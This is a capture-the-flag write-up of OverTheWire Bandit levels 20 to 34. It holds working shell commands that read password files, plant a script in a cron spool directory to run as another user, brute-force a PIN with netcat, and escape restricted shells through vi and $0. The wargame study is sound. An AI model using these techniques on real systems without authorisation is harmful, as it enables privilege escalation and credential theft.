BACK TO FIELD NOTES// FIELD NOTES

writeup

OverTheWire Bandit: Levels 20 to 34

Jun 29, 2026
linuxsshgitwargame

The closing stretch of Bandit is where the puzzles start to resemble real tradecraft: abusing scheduled jobs, escaping locked-down shells, and mining secrets out of a git history.

By level 34 the tools are familiar; the challenge is chaining them together under constraints someone deliberately put in your way.

Level 20 → 21

The setuid binary suconnect connects to a port you control; feed it the current password and it hands back the next one. Run a listener in the background, then call the binary:

echo "$(cat /etc/bandit_pass/bandit20)" | nc -l -p 12345 &
./suconnect 12345

Level 21 → 22

A cron job runs a script that drops the password into /tmp. Read the cron config, then the script it points at, then the file the script writes:

cat /etc/cron.d/cronjob_bandit22
cat /usr/bin/cronjob_bandit22.sh
cat /tmp/<file-from-the-script>

Level 22 → 23

This cron script derives its target filename from the username. Reproduce the same calculation for bandit23 and read the resulting file:

cat /usr/bin/cronjob_bandit23.sh
echo "I am user bandit23" | md5sum | cut -d ' ' -f 1
cat /tmp/<hash>

Level 23 → 24

A cron job runs every script left in /var/spool/bandit24/foo/ as bandit24, then deletes it. Drop in a script that copies the password somewhere readable:

mkdir -p /tmp/w && cd /tmp/w
cat > pass.sh <<'EOF'
#!/bin/bash
cat /etc/bandit_pass/bandit24 > /tmp/w/out.txt
chmod 666 /tmp/w/out.txt
EOF
chmod 777 pass.sh /tmp/w
cp pass.sh /var/spool/bandit24/foo/
# wait for the next minute, then:
cat /tmp/w/out.txt

Level 24 → 25

A daemon on port 30002 wants the current password plus a secret 4-digit PIN. There is no shortcut, so brute-force all 10,000 combinations in one connection:

for i in $(seq -w 0000 9999); do
  echo "$(cat /etc/bandit_pass/bandit24) $i"
done | nc localhost 30002 | grep -v "Wrong"

Level 25 → 26

bandit26's login shell is not bash; it shows text through more and disconnects. Shrink the terminal window so more has to paginate, then press v to open vi from the pager:

ssh -i bandit26.sshkey bandit26@localhost -p 2220
# make the window tiny first, then press: v

Inside vi, read the password file directly:

:r /etc/bandit_pass/bandit26

Level 26 → 27

Still inside vi, set a real shell and drop into it, so now you are bandit26 interactively. A setuid helper reads the next password:

:set shell=/bin/bash
:shell
./bandit27-do cat /etc/bandit_pass/bandit27

Level 27 → 28

The password lives in a git repository. Clone it over SSH and read the file:

cd $(mktemp -d)
git clone ssh://bandit27-git@localhost:2220/home/bandit27-git/repo
cat repo/README

Level 28 → 29

The README was redacted in a later commit, but the secret is still in the history:

git -C repo log -p

Level 29 → 30

main looks empty; the password sits on another branch:

git -C repo branch -a
git -C repo checkout dev
cat repo/README.md

Level 30 → 31

Nothing in the files or branches, so check the tags:

git -C repo tag
git -C repo show <tag-name>

Level 31 → 32

Push a file to the repo to trigger a server-side hook that returns the password. The .gitignore blocks *.txt, so force-add it:

echo "May I come in?" > key.txt
git add -f key.txt
git commit -m "push"
git push

Level 32 → 33

The "uppercase shell" converts everything you type to capitals, so most commands fail. But $0 expands to the shell itself, giving you a fresh, normal shell:

$0
cat /etc/bandit_pass/bandit33

Level 33 → 34

There is no level 34. Logging in as bandit33 and reading README.txt confirms the game is finished; the wargame ends here.

Commands worth internalizing

CommandWhy it matters
nc -l -p + setuid binaryFeeds a local daemon to escalate privilege
/etc/cron.d/*Where scheduled jobs (and their scripts) live
md5sum | cutReproduces a script's derived filename
drop script in spool dirRuns your code as the job's owner
seq -w + ncBrute-forces a numeric secret in one stream
v in moreviEscapes a restricted pager into an editor
:set shell + :shellBreaks out of vi into a real shell
git log -p / branch / tagMines secrets from every corner of git history
$0Spawns a clean shell from a mangled one

Takeaway

Bandit ends where offensive work really begins: reading the environment, noticing what runs automatically and as whom, and turning small misconfigurations into access. Scheduled jobs, restricted shells, and forgotten git history are not textbook trivia; they are among the most common footholds on real engagements. That is the whole point of the game: the reflexes are the reward.